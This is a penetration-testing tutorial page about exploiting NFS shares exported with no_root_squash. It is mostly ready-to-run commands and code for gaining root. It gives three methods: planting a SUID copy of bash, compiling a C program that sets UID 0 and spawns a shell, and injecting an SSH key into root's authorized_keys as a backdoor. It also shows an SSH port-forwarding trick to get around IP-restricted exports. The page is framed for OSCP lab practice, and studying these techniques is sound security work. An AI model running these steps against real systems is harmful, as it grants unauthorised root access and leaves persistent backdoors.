# NFS no_root_squash Abuse – SUID Shell and SSH Key Injection

- **URL:** https://hackindex.io/services/nfs/privilege-escalation/no-root-squash-abuse
- **Path:** NFS > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/services/nfs/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-05-15

When an NFS share is exported with `no_root_squash`, the server trusts root on the client as root on the server. Any file you write as root on your attack box lands on the share with root ownership. Set the SUID bit on a binary before copying it and any local user on the target can execute it as root.

This is one of the most reliable privilege escalation paths in OSCP labs. You typically discover it from a low-privilege shell on the target by reading `/etc/exports`, then mount the share from your attack box as root to plant the payload.

SUID payload methods for no_root_squash abuse:

- Copy `/bin/bash` to share and set SUID bit (quickest)
- Compile a custom SUID C binary that spawns a root shell
- Write an SSH key to `/root/.ssh/authorized_keys` via the share

## NFS no_root_squash abuse: confirming the misconfiguration

From a low-privilege shell on the target, read the exports file:

```bash
cat /etc/exports
```

Look for `no_root_squash` on any exported path:

```bash
/home *(rw,sync,no_root_squash,no_subtree_check)
/tmp  *(rw,sync,no_root_squash,no_subtree_check)
```

Any share with `no_root_squash` is exploitable. Also confirm the share is accessible from your attack box:

```bash
showmount -e $TARGET_IP
```

## Method 1 - SUID bash

The fastest path. Copy `/bin/bash` to the share as root and set the SUID bit. The local user on the target then runs it with `-p` to spawn a root shell.

On your attack box as root:

```bash
sudo mkdir /mnt/nfs
sudo mount -t nfs $TARGET_IP:/$SHARE /mnt/nfs -o nolock
sudo cp /bin/bash /mnt/nfs/
sudo chmod +s /mnt/nfs/bash
```

Verify root ownership and SUID bit:

```bash
ls -la /mnt/nfs/bash
-rwsr-sr-x 1 root root 1234376 Jan 10 10:00 /mnt/nfs/bash
```

On the target from your low-privilege shell, execute it:

```bash
/path/to/share/bash -p
# bash-5.1# whoami
# root
```

`-p` preserves the SUID effective UID. You get a root shell.

## Method 2 - SUID C Payload

If the target's bash binary is patched to drop SUID privileges regardless of `-p` (common on hardened systems), compile a C binary that sets UID to 0 and spawns a shell:

On your attack box:

**/tmp/suid_shell.c**

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
```

```bash
gcc /tmp/suid_shell.c -o /tmp/suid_shell
sudo cp /tmp/suid_shell /mnt/nfs/
sudo chmod +xs /mnt/nfs/suid_shell
sudo chown root:root /mnt/nfs/suid_shell
```

On the target:

```bash
/path/to/share/suid_shell
```

Root shell without relying on bash SUID behaviour.

## Method 3 - SSH Key Injection

If the root home directory is exported with `no_root_squash`, write your public key directly to `/root/.ssh/authorized_keys`:

On your attack box:

```bash
sudo mount -t nfs $TARGET_IP:/root /mnt/nfs -o nolock
sudo mkdir -p /mnt/nfs/.ssh
sudo bash -c "cat ~/.ssh/id_rsa.pub >> /mnt/nfs/.ssh/authorized_keys"
sudo chmod 700 /mnt/nfs/.ssh
sudo chmod 600 /mnt/nfs/.ssh/authorized_keys
```

Then SSH directly as root:

```bash
ssh root@$TARGET_IP
```

If you do not have an SSH key pair yet, generate one first:

```bash
ssh-keygen -t ed25519 -f ~/.ssh/backdoor -N ""
```

## When the Share Is IP-Restricted

If `/etc/exports` restricts the share to a specific IP (e.g. `127.0.0.1` or the target's own subnet), you cannot mount it directly from your attack box. Use SSH port forwarding to tunnel NFS through your existing low-privilege shell:

Forward the NFS port locally:

```bash
ssh -L 2049:127.0.0.1:2049 $USER@$TARGET_IP
```

Mount via the forwarded port on your attack box:

```bash
sudo mount -t nfs -o port=2049,nolock,vers=4 127.0.0.1:/$SHARE /mnt/nfs
```

Then proceed with the SUID bash or C payload method as normal. Because the connection appears to originate from `127.0.0.1` on the server side, the IP restriction is satisfied.

## Verifying Architecture Before Compiling

If you are compiling a C payload, match the target architecture. Check from your low-privilege shell:

```bash
uname -m
file /bin/bash
```

Compile for 32-bit if needed:

```bash
gcc -m32 /tmp/suid_shell.c -o /tmp/suid_shell
```

To confirm no_root_squash before exploiting, see [NFS no_root_squash Detection](https://hackindex.io/services/nfs/enumeration/nfs-export-discovery/vulnerability-discovery/nfs-no-root-squash-detection).

## References

- [exports(5) man page](https://linux.die.net/man/5/exports) - NFS export option reference covering root_squash, no_root_squash, and all_squash behaviour.
- [A tale of a lesser known NFS privesc ](https://www.errno.fr/nfs_privesc.html) - Covers the IP-restriction bypass using ld_nfs.so for local-only shares where port forwarding is not viable.
